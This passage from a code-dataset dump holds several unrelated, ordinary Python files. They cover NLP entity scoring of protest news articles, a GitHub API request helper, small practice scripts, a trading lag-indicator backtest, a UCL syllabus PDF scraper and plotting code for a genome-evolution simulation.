\"dobj\"]:\n verb_example_dict[\"patient\"] = dependency\n tuples.append(verb_example_dict)\n return tuples\n\ndef build_coreference_dict(doc_coreference):\n doc_coreference_dict = dict()\n for coref in doc_coreference:\n mentions = [mention for mention in coref.iter(\"mention\")]\n pronoun_mentions = []\n entity_group = None\n representative = None\n for mention in mentions:\n text_head_idx = int(mention.find(\"head\").text) - int(mention.find(\"start\").text)\n text_head = mention.find(\"text\").text.lower().split()[text_head_idx]\n if mention.get(\"representative\"):\n representative = text_head\n # Check if the head of the mention belongs to a keyword group.\n if text_head in government_kw:\n entity_group = \"government\"\n elif text_head in protesters_kw:\n entity_group = \"protester\"\n # Check if the mention is a pronoun (only case we really care about).\n if text_head in PRONOUNS:\n pronoun_mentions.append(mention)\n if entity_group is not None and len(pronoun_mentions) > 0:\n for mention in pronoun_mentions:\n sent_idx = int(mention.find(\"sentence\").text)-1\n head_idx = int(mention.find(\"head\").text)-1\n doc_coreference_dict[(sent_idx, head_idx)] = (entity_group, representative)\n # print(len(doc_coreference_dict), doc_coreference_dict)\n return doc_coreference_dict\n\ndef buildDataset(lexicon, embeddings):\n inputs = []\n outputs = []\n words = []\n for word in lexicon:\n if embeddings[word]:\n inputs.append(embeddings.decontextualizeWord(word))\n outputs.append(lexicon[word])\n words.append(word)\n\n return np.vstack(inputs), np.array(outputs), words\n\ndef predictions(model, embs):\n ''' Adjusts preds to tenarized (3 discrete values) values '''\n if embs:\n return [pred - 1 for pred in model.predict(embs)]\n else:\n return []\n\nroot_path = os.getcwd()\ndata_path = os.path.join(root_path, \"..\", \"our_training_data\")\narticle_path = os.path.join(root_path, '..', \"our_articles\")\n# load articles\n\ndef extractEmbeddings(args, articles):\n # Initializes a dictionary that lets us go from (article, sent_id) -> sentence\n sentences = {}\n\n training_embeddings = EmbeddingManager()\n list_invalid_articles = []\n example_number = 0\n\n for article in tqdm(articles):\n try:\n h5_path = os.path.join(data_path, articleToName(article,append_str = \".txt.xml.hdf5\"))\n xml_path = os.path.join(data_path, articleToName(article,append_str = \".txt.xml\"))\n except OSError:\n print(\"Unable to read file {}\".format(articleToName(article)))\n list_invalid_articles.append(article)\n continue\n\n root, document = process_xml_text(xml_path, correct_idx=False, stem=False, lower=True)\n sentence_nodes = [sent_node for sent_node in extractItem(root, ['document', 'sentences'], 'sentence')]\n try:\n with h5py.File(h5_path, 'r') as h5py_file:\n sent_to_idx = ast.literal_eval(h5py_file.get(\"sentence_to_index\")[0])\n idx_to_sent = {int(idx):sent for sent, idx in sent_to_idx.items()}\n # TODO: Replace with logging\n if len(sentence_nodes) != len(idx_to_sent):\n print(\"Mismatch in number of sentences, {} vs {} for article {}. Skipping article\".format(len(document), len(idx_to_sent), article))\n list_invalid_articles.append(article)\n continue\n\n # Get coreference for the doc and parse it in a format that we can work with.\n doc_coreference_dict = None\n if args.use_coref:\n doc_coreference = [coreference for coreference in extractItem(root, ['document', 'coreference', 'coreference'], 'coreference')]\n doc_coreference_dict = build_coreference_dict(doc_coreference)\n \n for sent_idx in idx_to_sent:\n sent_tokens = [tok for tok in extractItem(sentence_nodes[sent_idx] , ['tokens'], 'token')]\n sent_words = [extractItem(tok, ['word']).text.lower() for tok in sent_tokens]\n sent_POS = [extractItem(tok, ['POS']).text for tok in sent_tokens]\n sent_lemmas = [extractItem(tok, ['lemma']).text.lower() for tok in sent_tokens]\n sent_embeddings = h5py_file.get(str(sent_idx))\n sent_dependencies = [dep for dep in extractItem(sentence_nodes[sent_idx], ['dependencies'], 'dep')] \n\n if sent_embeddings.shape[1] != len(sent_lemmas):\n print(\"Mismatch in number of token in sentence {} : {} vs {}. Skipping sentence\".format(sent_idx, sent_embeddings.shape[1], len(sent_lemmas)))\n continue\n\n # Filter sentences based on word content\n # These are to be used in the evaluation portion\n examples = filterSentence(args, article, sent_idx, sent_dependencies, sent_lemmas, sent_POS, doc_coreference_dict)\n example_number += len(examples)\n \n # NOTE: Weights refer to the accumulated layers of the 0) Inputs 1) Left context 2) Right context\n def retrieveWordEmbedding(sent_embedding, verb_idx, weights = [0,1,0]):\n return sent_embedding[0][verb_idx] * weights[0] + sent_embedding[1][verb_idx] * weights[1] + sent_embedding[2][verb_idx] * weights[2]\n \n for example in examples:\n # TODO: Keep track of the other fields of example in particular: - ENTITYGROUP (whether the obj/subj was prot/gov)\n # - DEPTYPE --> needed to establish which model we use\n example['embedding'] =retrieveWordEmbedding(sent_embeddings, example['verb_idx']) \n training_embeddings.addItem(example)\n except OSError:\n list_invalid_articles.append(article)\n print(\"Invalid HDF5 file {}\".format(articleToName(article)))\n except Exception as e:\n # Catch all for other errors \n list_invalid_articles.append(article)\n print(\"{} occured. Skipping article {}\".format(e, articleToName(article)))\n print(\"Total number of examples processed:\", example_number)\n\n # TODO: Store the trained models and embeddings for future reference\n with open(args.emb_file, 'wb+') as embedding_fh:\n pickle.dump(training_embeddings, embedding_fh)\n\ndef trainModels(articles, args):\n with open(args.emb_file, 'rb') as embed_fh:\n training_embeddings = pickle.load(embed_fh)\n models = {}\n for operation, load_function in OPERATIONS:\n TRAIN = 0\n DEV = 1\n TEST = 2\n X = 0\n Y = 1\n WORDS = 2\n\n cf_splits = load_function()\n # TODO: Choose between type vs embedding prediction task\n splits = [buildDataset(split,training_embeddings) for split in cf_splits]\n print(\"Starting to tune {} model\".format(operation))\n dev_score, optimized_weights = find_logistic_regression_weights(\n splits[TRAIN][X], splits[TRAIN][Y],\n splits[DEV][X], splits[DEV][Y],\n verbose=False)\n clf, test_score = logistic_regression(splits[TRAIN][X], splits[TRAIN][Y], splits[TEST][X], splits[TEST][Y], weights=optimized_weights, do_print=True, return_clf = True)\n models[operation] = {'model': clf,\n 'test_score' : test_score,\n 'dev_score': dev_score,\n 'weights': optimized_weights}\n\n with open(args.model_file, 'wb+') as models_fh:\n pickle.dump(models, models_fh)\n\ndef evaluateEntities(verb_insts, entities_of_interest, models):\n\n agent_sentiment_model = models[OPERATIONS[0][0]]['model']\n patient_sentiment_model = models[OPERATIONS[1][0]]['model']\n power_model = models[OPERATIONS[2][0]]['model']\n agency_model = models[OPERATIONS[3][0]]['model']\n\n\n entity_scores = {}\n patient_instances = [inst for inst in verb_insts if 'patient' in inst]\n agent_instances = [inst for inst in verb_insts if 'agent' in inst]\n for current_entity in entities_of_interest:\n agent_embs = [instance['embedding'] for instance in agent_instances if instance['agent']['entity_lemma'] == current_entity]\n patient_embs = [instance['embedding'] for instance in patient_instances if instance['patient']['entity_lemma'] == current_entity]\n if agent_embs or patient_embs:\n num_instances = len(agent_embs) + len(patient_embs)\n power = sum(predictions(power_model, agent_embs))- sum(predictions(power_model, patient_embs))\n agency = sum(predictions(agency_model, agent_embs))\n sentiment = sum(predictions(agent_sentiment_model, agent_embs)) + sum(predictions(patient_sentiment_model, patient_embs))\n entity_scores[current_entity] = {'sentiment': int(sentiment),\n 'power': int(power),\n 'agency': int(agency),\n 'count': int(num_instances)}\n return entity_scores\n\ndef evaluateModels(articles, args):\n with open(args.emb_file, 'rb') as embed_fh:\n training_embeddings = pickle.load(embed_fh)\n with open(args.model_file,'rb') as model_fh:\n models = pickle.load(model_fh)\n\n entity_scores = {}\n riots, sources, _ = zip(*articles)\n riots = set(riots)\n sources = set(sources)\n\n for riot in riots:\n entity_scores[riot] = defaultdict(dict)\n for source in sources:\n verb_insts = training_embeddings.fetchArticles((riot, source, \"\"))\n entity_scores[riot][source] = evaluateEntities(verb_insts, government_kw | protesters_kw, models)\n\n with open(args.results_file,'w+') as scores_fh:\n json.dump(entity_scores, scores_fh)\n\ndef createExamples(articles, args, target_entity='government', sample_size = 10):\n from random import sample\n with open(args.emb_file, 'rb') as embed_fh:\n training_embeddings = pickle.load(embed_fh)\n entities = [entity for entity in training_embeddings.tuples if 'patient' in entity or 'agent' in entity]\n articles = []\n for entity in entities:\n if 'patient' in entity:\n if entity['patient']['entity_lemma'] == target_entity:\n articles.append(entity['article'])\n if 'agent' in entity: \n if entity['agent']['entity_lemma'] == target_entity:\n articles.append(entity['article'])\n articles = list(set(articles))\n samples = sample(articles,k = sample_size)\n samples = [articleToName(article, '.txt') for article in samples]\n sampled_articles = {}\n for article in samples:\n with open(os.path.join(article_path,article)) as article_fh:\n sampled_articles[article] = article_fh.readlines()\n with open('samples.json', 'w+') as samples_fh:\n json.dump(sampled_articles, samples_fh)\n\n\nKEYS = ['sentiment', 'power', 'agency', 'count']\ndef sumScores(entities):\n entity_score = {key : 0 for key in KEYS}\n for entity in entities:\n for key in KEYS:\n entity_score[key] += entity[key]\n return entity_score\n\ndef subjectiveEvaluation(articles, args):\n # load samples file\n with open('samples.json') as samples_fh:\n samples = json.load(samples_fh)\n \n with open(args.emb_file, 'rb') as embed_fh:\n training_embeddings = pickle.load(embed_fh)\n \n with open(args.model_file,'rb') as model_fh:\n models = pickle.load(model_fh)\n \n articles = [tuple(splitFileName(article)[:3]) for article in samples]\n scores = []\n \n \n import pdb;pdb.set_trace()\n for article in articles:\n entities = training_embeddings.fetchArticles(article)\n gov_scores = [score for _, score in evaluateEntities(entities, government_kw, models).items()]\n protestor_scores = [score for _,score in evaluateEntities(entities, protesters_kw, models).items()]\n avg_gov_scores = sumScores(gov_scores)\n avg_protestor_scores = sumScores(protestor_scores)\n scores.append({metric : avg_gov_scores[metric] > avg_protestor_scores[metric] for metric in KEYS})\n # score samples\n print(scores)\n # load annotator scores\n # compare model to each annotator\n # \n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('--mode', type=str, choices=['extract', 'train', 'evaluate', 'samples', 'subj_eval'], required=True, default = \"evaluate\")\n parser.add_argument('--emb_file', type=str, default=\"embedding.pkl\")\n parser.add_argument('--model_file', type=str, default=\"model.pkl\")\n parser.add_argument('--results_file', type=str, default=\"results.json\")\n parser.add_argument('--use_all_verbs', action='store_true')\n parser.add_argument('--use_coref', action='store_true')\n args = parser.parse_args()\n\n articles = getArticleList(data_path)\n\n if args.mode == 'extract':\n extractEmbeddings(args, articles)\n elif args.mode == 'train': \n trainModels(articles, args)\n elif args.mode == 'evaluate':\n evaluateModels(articles, args) #training_embs, models)\n elif args.mode == 'samples':\n createExamples(articles, args)\n elif args.mode == \"subj_eval\":\n subjectiveEvaluation(articles, args)\n","sub_path":"src/score_entities.py","file_name":"score_entities.py","file_ext":"py","file_size_in_byte":23772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"30478690","text":"from requests import Request\nimport os\n\n\ndef tokenizer(func):\n def wrapper(*args, **kwargs):\n ret_value: Request = func(*args, **kwargs)\n\n token = os.environ.get('TOKEN')\n if token:\n ret_value.headers['Authorization'] = f\"token {token}\"\n\n return ret_value\n return wrapper\n\n\nclass RequestMaker:\n def __init__(self):\n self.method = \"GET\"\n self.headers = {\n 'Accept': 'application/vnd.github.v3+json',\n 'User-Agent': 'Mozilla/5.0',\n }\n self.url = \"\"\n self.params = {}\n\n @tokenizer\n def get_request(self):\n return Request(\n method=self.method,\n url=self.url,\n params=self.params,\n headers=self.headers\n )\n","sub_path":"GitTask/RequestMaker.py","file_name":"RequestMaker.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"414963776","text":"#!/usr/bin/env python\n#coding=utf-8 \nimport wxversion\nwxversion.select('2.8')\nimport wx\nclass ScrollbarFrame(wx.Frame):\n def __init__(self):\n wx.Frame.__init__(self, None, -1, 'Scrollbar Example',\n size=(800, 600))\n self.scroll = wx.ScrolledWindow(self, -1)\n self.scroll.SetScrollbars(1, 1, 100, 100)\nif __name__ == '__main__':\n app = wx.PySimpleApp()\n frame = ScrollbarFrame()\n frame.Show()\n app.MainLoop()\n","sub_path":"allfiles/scroll.py","file_name":"scroll.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"560332607","text":"def romanToInt(s: str) -> int:\n result = 0\n\n symbol_value_map = {'I':1, 'V':5, 'X':10, 'L':50, 'C':100, 'D':500, 'M':1000}\n modifier_map = {'I':('V','X'), 'X':('L','C'), 'C':('D','M')}\n modifiers = list(modifier_map.keys())\n\n modify_next = ''\n for symbol in s:\n result += symbol_value_map[symbol]\n if modify_next and (symbol in modifier_map[modify_next]):\n result -= 2 * symbol_value_map[modify_next]\n modify_next = ''\n continue\n if symbol in modifiers:\n modify_next = symbol\n\n return result\n \n","sub_path":"013_Roman_to_Integer/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"65680487","text":"counties_dict = {\"Arapahoe\": 422829, \"Denver\": 463353, \"Jefferson\": 432438}\n\nvoting_data = [{\"county\":\"Arapahoe\", \"registered voters\": 422829},\n {\"county\":\"Denver\", \"registered voters\": 463353},\n {\"county\":\"Jefferson\", \"registered voters\": 432438}]\nfor county_dict in voting_data:\n print(county_dict)\n\nfor county in range(len(voting_data)):\n print(voting_data[county]['county'])\n\nfor county_dict in voting_data:\n for value in county_dict.values():\n print(value)\n\nfor county_dict in voting_data:\n print(county_dict['county'])\n\nfor county, voters in counties_dict.items():\n print(f\"{county} county has {voters} registered voters.\")\n\ncandidate_votes = int(input(\"How many votes did the candidate get in the election?\"))\ntotal_votes = int(input(\"What is the total number of votes in the election?\"))\nmessage_to_candidate = (\n f\"You recieved {candidate_votes} number of votes.\"\n f\"The total number of votes in the election was {total_votes}. \"\n f\"You recieved {candidate_votes / total_votes * 100}% of the total votes!\")\nprint(message_to_candidate) ","sub_path":"python_practice.py","file_name":"python_practice.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"68802704","text":"#!/usr/bin/env jasy\n\noptimization = Optimization(\"blocks\", \"declarations\", \"variables\", \"privates\")\nformatting = Formatting()\n\nsession = Session()\nsession.addProject(Project(\".\"))\nsession.permutateField(\"es5\")\nsession.permutateField(\"debug\")\n\n@task(\"Clear Cache\")\ndef clear():\n session.clearCache()\n\n\n@task(\"Store API Data\")\ndef api():\n writer = ApiWriter(session)\n writer.write(\"api/data\")\n\n\n@task(\"Writing Module\")\ndef module():\n for permutation in session.getPermutations():\n resolver = Resolver(session.getProjects(), permutation)\n resolver.addClassName(\"core.Module\")\n classes = Sorter(resolver, permutation).getSortedClasses()\n\n print(\"Classes: %s\" % classes)\n storeCompressed(\"dist/module-%s.js\" % permutation.getKey(), classes, formatting=formatting, optimization=optimization)\n\n\n@task(\"Writing OO\")\ndef oo():\n for permutation in session.getPermutations():\n resolver = Resolver(session.getProjects(), permutation)\n resolver.addClassName(\"core.Module\")\n resolver.addClassName(\"core.Class\")\n classes = Sorter(resolver, permutation).getSortedClasses()\n\n print(\"Classes: %s\" % classes)\n storeCompressed(\"dist/oo-%s.js\" % permutation.getKey(), classes, formatting=formatting, optimization=optimization)\n \n \n@task(\"Writing Sugar\")\ndef sugar():\n for permutation in session.getPermutations():\n resolver = Resolver(session.getProjects(), permutation)\n resolver.addClassName(\"ext.sugar.Array\")\n resolver.addClassName(\"ext.sugar.Function\")\n resolver.addClassName(\"ext.sugar.Number\")\n resolver.addClassName(\"ext.sugar.Object\")\n resolver.addClassName(\"ext.sugar.String\")\n classes = Sorter(resolver, permutation).getSortedClasses()\n\n print(\"Classes: %s\" % classes)\n storeCompressed(\"dist/sugar-%s.js\" % permutation.getKey(), classes, formatting=formatting, optimization=optimization)\n \n ","sub_path":"jasyscript.py","file_name":"jasyscript.py","file_ext":"py","file_size_in_byte":1983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"59615686","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Oct 29 13:33:12 2017\n\n@author: rweegenaar\n\nThis script plots a lag indicator for backtesting between 2 pairs\nloaded in Two_CSV2Candle\n\"\"\"\n\nimport LoadTwoCSV\nimport numpy as np\nimport pandas as pd\n\n# number of timesteps(days/hours/seconds) to normalize data over\ntimeFrame = 85\nThresholdLong = -0.6\nThresholdShort = 0.65\n\ntimeFrameStr = str(timeFrame)+' days'\ntimeFrameDelta = pd.Timedelta(timeFrameStr)\n\n# i is amount of days to backtest from end date (backwards in time)\ni = LoadTwoCSV.m - timeFrame\n\nlagindex = np.zeros(i)\nPosition = np.zeros(i)\nCorrCoef = np.zeros(i)\n\nStartDate = pd.DataFrame.min(LoadTwoCSV.df1['DateTime'])\nStartDate = pd.to_datetime(StartDate)\n\nEndDate = pd.DataFrame.max(LoadTwoCSV.df1['DateTime'])\nEndDate = pd.to_datetime(EndDate)\n\nStartTimeFrame = EndDate - timeFrameDelta - pd.Timedelta('1 days')\nprint('Indicator up-to-date until:')\nprint(EndDate) \n\n# Create Sliding Date Frame\n\nfor j in range(i):\n\n # Find closest date to StartTimeFrame in LoadTwoCSV.D12\n # StartTimeFrame may not appear in LoadTwoCSV.D12\n SlidingStart = min(LoadTwoCSV.D12, key=lambda d: abs(d - StartTimeFrame))\n SlidingStart = pd.to_datetime(SlidingStart)\n # Index number of SlidingStart in LoadTwoCSV.D12\n SlidingStart_row = LoadTwoCSV.D12_date.get_loc(SlidingStart)\n SlidingStart_count = SlidingStart_row - j\n closest_time_start = LoadTwoCSV.D12[SlidingStart_count]\n\n # Find closest date to EndDate in LoadTwoCSV.D12\n # Exact EndDate may not appear in LoadTwoCSV.D12\n SlidingEnd = min(LoadTwoCSV.D12, key=lambda d: abs(d - EndDate))\n SlidingEnd = pd.to_datetime(SlidingEnd)\n # Index number of SlidingStart in LoadTwoCSV.D12\n SlidingEnd_row = LoadTwoCSV.D12_date.get_loc(SlidingEnd)\n SlidingEnd_count = SlidingEnd_row - j\n closest_time_end = LoadTwoCSV.D12[SlidingEnd_count]\n \n # Dates for plot (end date of backward sliding data frame is start date plot)\n if j==(i-1):\n PlotDates = LoadTwoCSV.df1['DateTime'].iloc[SlidingEnd_count:]\n PlotPriceOpen = LoadTwoCSV.df2['open'].iloc[SlidingEnd_count:]\n PlotPriceHigh = LoadTwoCSV.df2['high'].iloc[SlidingEnd_count:]\n PlotPriceLow = LoadTwoCSV.df2['low'].iloc[SlidingEnd_count:]\n PlotPriceClose = LoadTwoCSV.df2['close'].iloc[SlidingEnd_count:]\n \n # Sliding DataFrames closing prices\n df1SlidingMatrix = LoadTwoCSV.df1['close'].iloc[SlidingStart_count:SlidingEnd_count]\n df2SlidingMatrix = LoadTwoCSV.df2['close'].iloc[SlidingStart_count:SlidingEnd_count]\n \n # Normalize closing prices sliding matrices\n Normdf1 = (df1SlidingMatrix.tail(1) - min(df1SlidingMatrix))/(max(df1SlidingMatrix)-min(df1SlidingMatrix))\n Normdf2 = (df2SlidingMatrix.tail(1) - min(df2SlidingMatrix))/(max(df2SlidingMatrix)-min(df2SlidingMatrix))\n lagindex[j] = Normdf2 - Normdf1\n \n \n# # Take Positions (test is backwards in time, so logical operators are reversed) \n# if lagindex[j-1] > ThresholdLong and lagindex[j] < ThresholdLong:\n# Position[j] = 1 # Take Long Position\n# elif lagindex[j-1] < ThresholdShort and lagindex[j] > ThresholdShort:\n# Position[j] = -1 # Take Short Position\n# else: Position[j] = np.NaN # No Action\n \n # Take Positions (test is backwards in time, so logical operators are reversed)\n if lagindex[j-2] > lagindex[j-1] and lagindex[j-1] < lagindex[j] and lagindex[j-1] < ThresholdLong:\n Position[j] = 1 # Take Long Position in local minimum of lagindicator\n elif lagindex[j-2] < lagindex[j-1] and lagindex[j-1] > lagindex[j] and lagindex[j-1] > ThresholdShort:\n Position[j] = -1 # Take Short Position in local maximum of lag indicator\n else: Position[j] = np.NaN # No Action\n \nlagindexFlip = np.flipud(lagindex)\nPosition = np.flipud(Position)\n\nprint('Latest lag-indicator value =')\nprint(lagindexFlip[-1])\n\n\n# Plot Lagindex and price\nfrom bokeh.plotting import figure, output_file, show\nfrom bokeh.layouts import column\n\noutput_file(\"LagIndicator.html\")\nTOOLS = \"pan,wheel_zoom,box_zoom,reset,save,hover,crosshair\"\n\n# plot 1 - lagindicator\np1 = figure(plot_width=1050, plot_height=320, x_axis_type='datetime',\n tools=TOOLS, title = 'Lag Indicator')\np1.line(PlotDates,lagindexFlip, line_width=2, color='navy')\n\n# plot 2 - price linechart + positions\n# redefine Position for graphics\n# Convert 'Position' to entry prices for Long & Short Positions\nPositionPlotLong = np.clip(Position,0,1)\nPositionPlotLong[PositionPlotLong == 0] = np.nan\nPositionPlotLong = PositionPlotLong*PlotPriceClose\n\nPositionPlotShort = np.clip(Position,-1,0)\nPositionPlotShort[PositionPlotShort == 0] = np.nan\nPositionPlotShort = -PositionPlotShort*PlotPriceClose\n\np2 = figure(plot_width=1050, plot_height=320, x_axis_type='datetime',\n tools=TOOLS, title = 'Price '+LoadTwoCSV.name2+' Line Chart and Postions')\np2.line(PlotDates,PlotPriceClose, line_width=1, color='lime')\np2.line(PlotDates,PlotPriceLow, line_width=1, color='firebrick')\np2.line(PlotDates,PlotPriceHigh, line_width=1, color='navy')\n\n\np2.triangle(PlotDates, PositionPlotLong, size=15,\n line_color=\"black\", fill_color=\"lime\", alpha=0.8)\np2.inverted_triangle(PlotDates, PositionPlotShort, size=15,\n line_color=\"black\", fill_color=\"red\", alpha=0.7)\n\n# p2.vbar(PlotDates, 1E6, PlotPriceAVG, PositionPlot,fill_color=\"#00FF00\", line_color=\"#00FF00\", fill_alpha=0.3)\n# p2.vbar(PlotDates, 1E6, PositionShortPlot, max(PlotPriceClose),fill_color=\"#F2583E\", line_color=\"#F2583E\",\n# fill_alpha=0.3)\n \n# multi line renderer\np = column(p1,p2)\n\nshow(p)\n\n\n\n\n \n\n\n\n","sub_path":"Tools/Lag Indicator/lag_indicator.py","file_name":"lag_indicator.py","file_ext":"py","file_size_in_byte":5801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"577731933","text":"# Download all syllabus pdf files from the UCL website.\n# Scrape year and term data out of them using PyPDF2\n# Update modules.json with any changes.\n\nimport json\nimport requests\nfrom PyPDF2 import PdfReader\nfrom time import sleep\n\nSYLLABUS_PATH = \"/home/mjt/Downloads/syllabuses/\"\n\ndef downloadSyllabus(module):\n url = module[\"url\"]\n filename = module[\"syllabusFilename\"]\n r = requests.get(url, allow_redirects=True)\n with open(SYLLABUS_PATH + filename, \"wb\") as pdfFile:\n pdfFile.write(r.content)\n\n\ndef getAllSyllabuses():\n with open(\"modules.json\") as f:\n modules = json.load(f)\n n = len(modules)\n for i, module in enumerate(modules.values()):\n print(\"Fetching \" + modules[\"syllabusFilename\"] + \"\\t\" + str(i) + \" of \" + str(n))\n downloadSyllabus(module)\n sleep(10) # don't get rate-limited\n\n\ndef getTermFromSyllabus(filename):\n # input is the filename of a pdf syllabus\n reader = PdfReader(filename)\n firstPage = reader.pages[0]\n text = firstPage.extract_text().splitlines()\n # try the first 10 lines, say, for term info\n term = -1\n for line in text[:10]:\n if \"Term\" in line:\n if \"1\" in line:\n term = 1\n elif \"2\" in line:\n term = 2\n if term == -1:\n print(\"Failed to extract term info from\\n\")\n print(text[:10])\n print(\"\\n\")\n return term\n\n\ndef getYearFromSyllabus(filename):\n reader = PdfReader(filename)\n firstPage = reader.pages[0]\n text = firstPage.extract_text().splitlines()\n year = -1\n for line in text[:10]:\n if \"Normal s\" in line: # Normal student group(s)\n if \"1\" in line:\n year = 1\n elif \"2\" in line and \"3\" in line:\n year = 2.5\n elif \"2\" in line:\n year = 2\n elif \"3\" in line and \"4\" in line:\n year = 3.5\n elif \"3\" in line:\n year = 3\n elif \"4\" in line:\n year = 4\n if year == -1:\n print(\"Failed to extract year info from\\n\")\n print(text[:10])\n print(\"\\n\")\n return year\n\n\ndef updateTermInfo():\n with open(\"modules.json\") as f:\n modules = json.load(f)\n for module in modules.values():\n t = getTermFromSyllabus(SYLLABUS_PATH + module[\"syllabusFilename\"])\n if t != module[\"term\"]:\n print(\"Changing \" + module[\"code\"] + \" from term \" +\n str(module[\"term\"]) + \" to term \" + str(t))\n module[\"term\"] = t\n print(\"Writing out modules.json.\")\n with open(\"modules.json\", \"w\") as f:\n json.dump(modules, f, indent=4)\n # indent makes the file human-readable\n\n\ndef updateYearInfo():\n with open(\"modules.json\") as f:\n modules = json.load(f)\n for module in modules.values():\n y = getYearFromSyllabus(SYLLABUS_PATH + module[\"syllabusFilename\"])\n if (y != -1) and (y != module[\"year\"]):\n print(\"Changing \" + module[\"code\"] + \" from year \" +\n str(module[\"year\"]) + \" to year \" + str(y))\n module[\"year\"] = y\n print(\"Writing out modules.json\")\n with open(\"modules.json\", \"w\") as f:\n json.dump(modules, f, indent=4)\n\n# typical text_extract output\n# MATH0038 ...\n# Year: 2022–2023\n# Code: MATH0038\n# Level: 6 (UG)\n# Normal student group(s): UG Year 3 Mathematics degrees\n# Value: 15 credits (= 7.5 ECTS credits)\n# Term: 2\n# Assessment: 80% exami...\n","sub_path":"syllabus_pdf_scanner.py","file_name":"syllabus_pdf_scanner.py","file_ext":"py","file_size_in_byte":3491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"473970671","text":"import gender_guesser_mod.detector as gg\n\n\n_detector = gg.Detector(case_sensitive=False)\n\n# It is assumed that the columns \"first_name\", \"last_name\", \"full_name\" exist.\ndef fix_names(df):\n \"\"\"\n :param df: DataFrame\n :return: DaraFrame\n \"\"\"\n has_first_name = \"first_name\" in df\n has_last_name = \"last_name\" in df\n\n for i in df.index:\n first_name_unchanged = df.loc[i, \"first_name\"].strip()\n first_name = df.loc[i, \"first_name\"].strip().split()[0]\n df.loc[i, \"first_name\"] = first_name\n df.loc[i, \"school\"] = df.loc[i, \"school\"].strip()\n if \"last_name\" in df:\n last_name = df.loc[i, \"last_name\"].strip()\n df.loc[i, \"last_name\"] = last_name\n df.loc[i, \"full_name\"] = first_name + \" \" + last_name\n df.loc[i, \"full_name\"] = df.loc[i, \"full_name\"].strip() # Necessary for some cases\n else:\n df.loc[i, \"full_name\"] = first_name_unchanged\n if \"last_name\" in df:\n del df[\"last_name\"]\n\n return df\n\n# Assumes that the columns \"gender\" and \"first_name\" exist.\ndef fix_gender(df):\n \"\"\"\n :param df: DataFrame\n :return: DataFrame\n \"\"\"\n for i in df.index:\n first_name = df.loc[i, \"first_name\"]\n df.loc[i, \"gender\"] = _detector.get_gender(first_name, country=\"norway\")\n return df\n\ndef get_unknown_names(df):\n \"\"\"\n :param df: DataFrame\n :return: List\n \"\"\"\n # Removing duplicates\n unknown_names = df[(df.gender != \"male\") & (df.gender != \"female\")].first_name\n\n unknown_names.drop_duplicates()\n\n return list(set(unknown_names))\n","sub_path":"science_olympiads/operations.py","file_name":"operations.py","file_ext":"py","file_size_in_byte":1597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"209075244","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Dec 7 08:41:27 2018\n\n@author: Océane\n\"\"\"\nimport matplotlib.pyplot as plt\nfrom collections import OrderedDict\nimport pickle\nimport numpy as np\nimport os\n\npathToFiles = 'D:/ProjetSimADN'\n#pathToFiles = '/home/ocassan/ProjetSimADN'\n#pathToFiles = '/home/amaury/ProjetSimADN'\n#pathToFiles = '/home/julie/Documents/5BIM/BacteriaEvolution/ProjetSimADN/'\n\ndef plot_fitness(genome, fig_name = \"fitness.png\"): \n #shows the fitness evolution in time\n #with the events as coloured circles on the curve\n plt.figure()\n plt.plot(genome.fitnesses, color = 'k')\n for ev in list(genome.events):\n if ev[1] == \"insertion\":\n col = 'green'\n elif ev[1] == \"deletion\":\n col = 'red'\n else:\n col = 'blue'\n plt.plot(ev[0],genome.fitnesses[ev[0]], 'o', color = col, label = ev[1])\n plt.title(\"Fitness of the genome in time\")\n handles, labels = plt.gca().get_legend_handles_labels()\n by_label = OrderedDict(zip(labels, handles))\n plt.legend(by_label.values(), by_label.keys())\n plt.ylabel('Fitness')\n plt.xlabel('Time')\n plt.savefig(fig_name)\n\n\ndef plot_hist(genome, event, fig_name = \"hist.png\"):\n #plots the histogram of the fitness change induced by the \n #mutational events\n plt.figure()\n if event != 'inversion':\n plt.hist(genome.delta_fitness[event], bins = 20)\n else:\n plt.hist( [ev[0] for ev in genome.delta_fitness[event]], bins = 20)\n plt.title('Histogram of the fitness changes induced by '+event+'s')\n plt.xlabel('Fitness difference')\n plt.ylabel('Counts')\n \ndef plot_hists(genome, fig_name = \"hist.png\"):\n #plots the histogram of the fitness change induced by the \n #mutational events\n plt.figure()\n for i, event in enumerate(['inversion', 'deletion', 'inversion']):\n fc=[0, 0, 0, 0.2]\n fc[i] = 1\n if event != 'inversion':\n plt.hist(genome.delta_fitness[event], bins = 20, fc = fc )\n else:\n plt.hist( [ev[0] for ev in genome.delta_fitness[event]], bins = 20, fc = fc)\n plt.title('Histogram of the fitness changes induced by '+event+'s')\n plt.xlabel('Fitness difference')\n plt.ylabel('Counts')\n \n \ndef plot_inv_size_fitness(genome):\n plt.figure()\n delta = genome.delta_fitness['inversion']\n plt.plot([d[1] for d in delta], [d[0] for d in delta], 'o')\n\ndef heatmap(X, Y):\n path = os.path.join(pathToFiles, 'Binary_files')\n with open(os.path.join(path, 'heatmap_files_'+X+'_'+Y+'.file'), \"rb\") as f:\n heatmap_files = pickle.load(f)\n res = heatmap_files[0]\n xs = heatmap_files[1]\n ys = heatmap_files[2]\n X = heatmap_files[3]\n Y = heatmap_files[4]\n \n print(res)\n \n fig, ax = plt.subplots()\n im = ax.imshow(res)\n #We want to show 